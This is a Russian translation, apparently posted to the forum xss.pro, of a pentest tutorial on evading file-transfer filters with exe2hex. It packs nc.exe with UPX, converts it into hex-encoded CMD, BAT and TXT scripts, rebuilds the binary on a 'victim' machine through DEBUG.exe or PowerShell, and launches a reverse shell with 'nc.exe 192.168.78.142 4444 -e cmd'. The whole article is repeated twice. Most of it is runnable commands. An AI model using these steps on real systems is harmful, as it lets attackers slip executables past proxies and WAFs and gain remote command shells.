Введение
Exe2hex — это инструмент, разработанный g0tmilk, который можно найти здесь (https://github.com/g0tmi1k/exe2hex). Инструмент преобразует EXE в серию шестнадцатеричных строк, которые можно восстановить в исходный EXE-файл с помощью DEBUG.exe или Powershell. Затем этот скрипт можно запустить на компьютере-жертве, чтобы снова создать исполняемый файл и выполнить его. Это полезно в расширенных сценариях пентеста, когда системные администраторы заблокировали передачу/загрузку/dsгрузку/отправление по электронной почте EXE-файлов. Пентестеры могут использовать этот инструмент для обхода таких фильтров. В этой статье мы демонстрируем 4 таких метода.
Описание
DEBUG.exe — это исполняемый файл, доступный по умолчанию в Windows, который помогает пользователю устранять неполадки в программах. У него также есть функция, с помощью которой он может восстановить серию шестнадцатеричных строк в исполняемый файл. То же самое можно сделать и с помощью Powershell. Методика очень проста:
Шаг 1: Выберите EXE
Шаг 2: Сожмите его с помощью UPX
Шаг 3: Используйте exe2hex, чтобы преобразовать его в файл, содержащий шестнадцатеричные строки.
Шаг 4: Перенесите файл в систему-жертву
Шаг 5: Восстановите файл обратно в exe и выполните
Начнем со сжатия исполняемого файла. Мы будем использовать инструмент под названием UPX.
Как видите, существует множество вариантов сжатия файла. Мы будем использовать фильтр -9, обеспечивающий в среднем 50% сжатие.
upx -h
cp /usr/share/windows-resources/binaries/nc.exe .
ls -lah nc.exe
upx -9 nc.exe
ls -lah nc.exe
Примечание. Вы можете добиться того же, используя фильтр -cc с инструментом exe2hex.
CMD-скрипт Exe2hex (метод PoSH)
Теперь, когда наш exe-файл сжат, мы можем использовать exe2hex для преобразования его в файл cmd. Этот файл cmd имеет несколько шестнадцатеричных строк, как вы можете видеть ниже. Был создан параметр P, который добавляет эти преобразованные шестнадцатеричные строки во временный файл с именем "nc.hex".
exe2hex -x nc.exe -p nc.cmd
head nc.cmd
В конце файла вы можете увидеть команду powershell, которая восстанавливает шестнадцатеричные строки обратно в exe-файл и удаляет nc.hex.
tail -n 3 nc.cmd
Exe2hex URL-закодированный скрипт CMD (метод PoSH)
То, что мы видели выше, можно выполнить с бонусом. Тот же скрипт также может быть закодирован в URL с параметром -e.
exe2hex -x nc.exe -e -p nc.cmd
head -n 5 nc.cmd
Теперь мы можем передать этот файл CMD в систему-жертву и выполнить его с помощью командной строки. Как вы можете заметить, после завершения выполнения файл nc.exe создается в сжатом размере.
off
nc.cmd
nc.exe 192.168.78.142 4444 –e cmd
Exe2hex BAT-скрипт (метод DEBUG.exe)
До сих пор мы видели, как можно использовать powershell для восстановления шестнадцатеричного файла в exe-файл. Таким же образом можно использовать файл DEBUG.exe. Exe2hex может создать bat-файл следующим образом:
exe2hex -x nc.exe -b nc.bat
head -n 5 nc.bat
tail -n 7 nc.bat
После этого вы можете запустить bat-скрипт на Windows, и он создаст exe-файл. Если это выдает ошибку, вам нужно добавить путь DEBUG.exe в переменные среды. Как видите, nc.exe теперь стал исполняемым файлом.
Сценарий Exe2hex STDIN в CMD (метод PoSH)
Инструмент также может получать данные из STDIN. Это может быть полезно в сценариях, когда исполняемый файл доступен в Интернете, и его необходимо загрузить с помощью таких инструментов, как curl/wget, и существуют фильтры для его блокировки.
cat nc.exe | exe2hex -s -b nc.bat -p nc.cmd
Фильтр -s отвечает за чтение из STDIN. Файл cmd, сгенерированный с этой опцией, выглядит немного иначе, так как сгенерированный файл имеет имя binary.hex, а окончательный исполняемый файл — binary.exe.
Его можно запускать прямо сейчас!
Файл Exe2hex TXT (метод DEBUG и PoSH)
Мы оставили лучшее напоследок. Инструмент также может конвертировать EXE-файлы в файлы txt с шестнадцатеричными строками. Это очень полезно в ситуациях, когда используются расширенные фильтры.
exe2hex -x nc.exe -b nc.txt
head -n 5 nc.txt
exe2hex -x nc.exe -p nc.txt
head -n 5 nc.txt
Еще один фильтр — это фильтр -l, который указывает количество байтов в каждой строке.
exe2hex -x nc.exe -l 10 -p nc.txt
head -n 5 nc.txt
Теперь можно легко переименовать файл на компьютере-жертве с помощью командной строки или скопировать его как другое расширение (исполняемый скрипт), а затем запустить следующим образом:
copy nc.txt nc.cmd
off
nc.cmd
nc.exe 192.168.78.142 4444 -e cmd
Если вы пробовали вышеупомянутые методы, вы должны настроить прослушиватель на своей машине kali и попытаться запустить этот исполняемый файл. Как видите, EXE-файл работает правильно!
Заключение
Во время пентеста можно увидеть множество сценариев, в которых есть определенные фильтры загрузки/выгрузки файлов либо через прокси, либо через WAF. Мы только что представили способ обойти эти механизмы защиты с помощью exe2hex. Надеюсь, вам понравилась статья. Спасибо за прочтение.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/file-transfer-filter-bypass-exe2hex/
Exe2hex — это инструмент, разработанный g0tmilk, который можно найти здесь (https://github.com/g0tmi1k/exe2hex). Инструмент преобразует EXE в серию шестнадцатеричных строк, которые можно восстановить в исходный EXE-файл с помощью DEBUG.exe или Powershell. Затем этот скрипт можно запустить на компьютере-жертве, чтобы снова создать исполняемый файл и выполнить его. Это полезно в расширенных сценариях пентеста, когда системные администраторы заблокировали передачу/загрузку/dsгрузку/отправление по электронной почте EXE-файлов. Пентестеры могут использовать этот инструмент для обхода таких фильтров. В этой статье мы демонстрируем 4 таких метода.
Описание
DEBUG.exe — это исполняемый файл, доступный по умолчанию в Windows, который помогает пользователю устранять неполадки в программах. У него также есть функция, с помощью которой он может восстановить серию шестнадцатеричных строк в исполняемый файл. То же самое можно сделать и с помощью Powershell. Методика очень проста:
Шаг 1: Выберите EXE
Шаг 2: Сожмите его с помощью UPX
Шаг 3: Используйте exe2hex, чтобы преобразовать его в файл, содержащий шестнадцатеричные строки.
Шаг 4: Перенесите файл в систему-жертву
Шаг 5: Восстановите файл обратно в exe и выполните
Начнем со сжатия исполняемого файла. Мы будем использовать инструмент под названием UPX.
Как видите, существует множество вариантов сжатия файла. Мы будем использовать фильтр -9, обеспечивающий в среднем 50% сжатие.
upx -h
cp /usr/share/windows-resources/binaries/nc.exe .
ls -lah nc.exe
upx -9 nc.exe
ls -lah nc.exe
Примечание. Вы можете добиться того же, используя фильтр -cc с инструментом exe2hex.
CMD-скрипт Exe2hex (метод PoSH)
Теперь, когда наш exe-файл сжат, мы можем использовать exe2hex для преобразования его в файл cmd. Этот файл cmd имеет несколько шестнадцатеричных строк, как вы можете видеть ниже. Был создан параметр P, который добавляет эти преобразованные шестнадцатеричные строки во временный файл с именем "nc.hex".
exe2hex -x nc.exe -p nc.cmd
head nc.cmd
В конце файла вы можете увидеть команду powershell, которая восстанавливает шестнадцатеричные строки обратно в exe-файл и удаляет nc.hex.
tail -n 3 nc.cmd
Exe2hex URL-закодированный скрипт CMD (метод PoSH)
То, что мы видели выше, можно выполнить с бонусом. Тот же скрипт также может быть закодирован в URL с параметром -e.
exe2hex -x nc.exe -e -p nc.cmd
head -n 5 nc.cmd
Теперь мы можем передать этот файл CMD в систему-жертву и выполнить его с помощью командной строки. Как вы можете заметить, после завершения выполнения файл nc.exe создается в сжатом размере.
off
nc.cmd
nc.exe 192.168.78.142 4444 –e cmd
Exe2hex BAT-скрипт (метод DEBUG.exe)
До сих пор мы видели, как можно использовать powershell для восстановления шестнадцатеричного файла в exe-файл. Таким же образом можно использовать файл DEBUG.exe. Exe2hex может создать bat-файл следующим образом:
exe2hex -x nc.exe -b nc.bat
head -n 5 nc.bat
tail -n 7 nc.bat
После этого вы можете запустить bat-скрипт на Windows, и он создаст exe-файл. Если это выдает ошибку, вам нужно добавить путь DEBUG.exe в переменные среды. Как видите, nc.exe теперь стал исполняемым файлом.
Сценарий Exe2hex STDIN в CMD (метод PoSH)
Инструмент также может получать данные из STDIN. Это может быть полезно в сценариях, когда исполняемый файл доступен в Интернете, и его необходимо загрузить с помощью таких инструментов, как curl/wget, и существуют фильтры для его блокировки.
cat nc.exe | exe2hex -s -b nc.bat -p nc.cmd
Фильтр -s отвечает за чтение из STDIN. Файл cmd, сгенерированный с этой опцией, выглядит немного иначе, так как сгенерированный файл имеет имя binary.hex, а окончательный исполняемый файл — binary.exe.
Его можно запускать прямо сейчас!
Файл Exe2hex TXT (метод DEBUG и PoSH)
Мы оставили лучшее напоследок. Инструмент также может конвертировать EXE-файлы в файлы txt с шестнадцатеричными строками. Это очень полезно в ситуациях, когда используются расширенные фильтры.
exe2hex -x nc.exe -b nc.txt
head -n 5 nc.txt
exe2hex -x nc.exe -p nc.txt
head -n 5 nc.txt
Еще один фильтр — это фильтр -l, который указывает количество байтов в каждой строке.
exe2hex -x nc.exe -l 10 -p nc.txt
head -n 5 nc.txt
Теперь можно легко переименовать файл на компьютере-жертве с помощью командной строки или скопировать его как другое расширение (исполняемый скрипт), а затем запустить следующим образом:
copy nc.txt nc.cmd
off
nc.cmd
nc.exe 192.168.78.142 4444 -e cmd
Если вы пробовали вышеупомянутые методы, вы должны настроить прослушиватель на своей машине kali и попытаться запустить этот исполняемый файл. Как видите, EXE-файл работает правильно!
Заключение
Во время пентеста можно увидеть множество сценариев, в которых есть определенные фильтры загрузки/выгрузки файлов либо через прокси, либо через WAF. Мы только что представили способ обойти эти механизмы защиты с помощью exe2hex. Надеюсь, вам понравилась статья. Спасибо за прочтение.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/file-transfer-filter-bypass-exe2hex/